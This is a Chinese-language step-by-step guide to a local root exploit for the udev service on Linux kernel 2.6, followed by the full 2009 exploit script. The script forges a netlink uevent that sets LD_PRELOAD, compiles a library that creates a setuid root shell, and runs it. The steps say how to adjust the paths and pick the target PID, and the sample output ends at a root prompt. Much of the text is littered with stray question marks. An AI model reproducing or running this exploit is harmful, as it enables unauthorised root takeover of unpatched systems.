Linux Kernel 2.6 UDEV本地提权
1）创建用户：假设系统上已经建立了一个名为"ttalang"，密码为"ttalang"的普通用户，并用该账户登录；(注意：ttalang的用户目录为/home/ttalang)?
[ttalang@vmhost ~]$ pwd?
/home/ttalang?
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2）复制代码：如下：完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件；(注意：此时a的状态为/home/ttalang/a，a保存着 提权用的代码。名字叫什么是随意的，可以是b，c...)?
[ttalang@vmhost ~]$ ls?
a?
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3）修改代码：修改a中的内容，将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的)；将倒数第4行"cp libno_ex.so.1.0 ?/home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。?
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4）查找udev的PID:查找/sbin/udevd的PID，即执行："ps aux |grep /sbin/udev"
[ttalang@vmhost ~]$ ps aux |grep /sbin/udev?
root ? ? ? 392 ?0.1 ?0.3 ? 2916 ?1400 ? ? ? ? ?S<s ?15:33 ? 0:00 /sbin/udevd -d?
ttalang ? 3266 ?0.0 ?0.1 ? 4604 ? 700 pts/1 ? ?R+ ? 15:38 ? 0:00 grep /sbin/udev?
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5）提权:执行命令chmod u+x a && sh a 391 ?(注意：这里的391是udev的PID减去1得来的)：?
[ttalang@vmhost ~]$ sh a 391?
suid.c: 在函数 ‘main’ 中：?
suid.c:3: 警告：隐式声明与内建函数 ‘execl’ 不兼容?
sh-3.1#?
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提权代码：
*****************************************************************************************?
#!/bin/sh?
# Linux 2.6?
# bug found by Sebastian Krahmer?
#?
# lame sploit using LD technique? ?
# by kcope in 2009?
# tested on debian-etch,ubuntu,gentoo?
# do a 'cat /proc/net/netlink'?
# and set the first arg to this?
# script to the pid of the netlink socket?
# (the pid is udevd_pid - 1 most of the time)?
# + sploit has to be UNIX formatted text :)?
# + if it doesn't work the 1st time try more often?
#?
# WARNING: maybe needs some FIXUP to work flawlessly?
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang?
cat > udev.c << _EOF?
#include <fcntl.h>?
#include <stdio.h>?
#include <string.h>?
#include <stdlib.h>?
#include <unistd.h>?
#include <dirent.h>?
#include <sys/stat.h>?
#include <sysexits.h>?
#include <wait.h>?
#include <signal.h>?
#include <sys/socket.h>?
#include <linux/types.h>?
#include <linux/netlink.h>?
#ifndef NETLINK_KOBJECT_UEVENT?
#define NETLINK_KOBJECT_UEVENT 15?
#endif?
#define SHORT_STRING 64?
#define MEDIUM_STRING 128?
#define BIG_STRING 256?
#define LONG_STRING 1024?
#define EXTRALONG_STRING 4096?
#define TRUE 1?
#define FALSE 0?
int socket_fd;?
struct sockaddr_nl address;?
struct msghdr msg;?
struct iovec iovector;?
int sz = 64*1024;?
main(int argc, char **argv) {?
? ?? ???char sysfspath[SHORT_STRING];?
? ?? ???char subsystem[SHORT_STRING];?
? ?? ???char event[SHORT_STRING];?
? ?? ???char major[SHORT_STRING];?
? ?? ???char minor[SHORT_STRING];?
? ?? ???sprintf(event, "add");?
? ?? ???sprintf(subsystem, "block");?
? ?? ???sprintf(sysfspath, "/dev/foo");?
? ?? ???sprintf(major, "8");?
? ?? ???sprintf(minor, "1");?
? ?? ???memset(&address, 0, sizeof(address));?
? ?? ???address.nl_family = AF_NETLINK;?
? ?? ???address.nl_pid = atoi(argv[1]);?
? ?? ???address.nl_groups = 0;?
? ?? ???msg.msg_name = (void*)&address;?
? ?? ???msg.msg_namelen = sizeof(address);?
? ?? ???msg.msg_iov = &iovector;?
? ?? ???msg.msg_iovlen = 1;?
? ?? ???socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);?
? ?? ???bind(socket_fd, (struct sockaddr *) &address, sizeof(address));?
? ?? ???char message[LONG_STRING];?
? ?? ???char *mp;?
? ?? ???mp = message;?
? ?? ???mp += sprintf(mp, "%s@%s", event, sysfspath) +1;?
? ?? ???mp += sprintf(mp, "ACTION=%s", event) +1;?
? ?? ???mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;?
? ?? ???mp += sprintf(mp, "MAJOR=%s", major) +1;?
? ?? ???mp += sprintf(mp, "MINOR=%s", minor) +1;?
? ?? ???mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;?
? ?? ???mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;?
? ?? ???iovector.iov_base = (void*)message;?
? ?? ???iovector.iov_len = (int)(mp-message);?
? ?? ???char *buf;?
? ?? ???int buflen;?
? ?? ???buf = (char *) &msg;?
? ?? ???buflen = (int)(mp-message);?
? ?? ???sendmsg(socket_fd, &msg, 0);?
? ?? ???close(socket_fd);?
? ?? ?? ?sleep(10);?
? ?? ?? ?execl("/tmp/suid", "suid", (void*)0);?
}?
_EOF?
gcc udev.c -o /tmp/udev?
cat > program.c << _EOF?
#include <unistd.h>?
#include <stdio.h>?
#include <sys/types.h>?
#include <stdlib.h>?
void _init()?
{?
setgid(0);?
setuid(0);?
unsetenv("LD_PRELOAD");?
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);?
}?
_EOF?
gcc -o program.o -c program.c -fPIC?
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles?
cat > suid.c << _EOF?
int main(void) {?
? ?? ? setgid(0); setuid(0);?
? ?? ? execl("/bin/sh","sh",0); }?
_EOF?
gcc -o /tmp/suid suid.c?
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0?
/tmp/udev $1?
# milw0rm.com [2009-04-20]?
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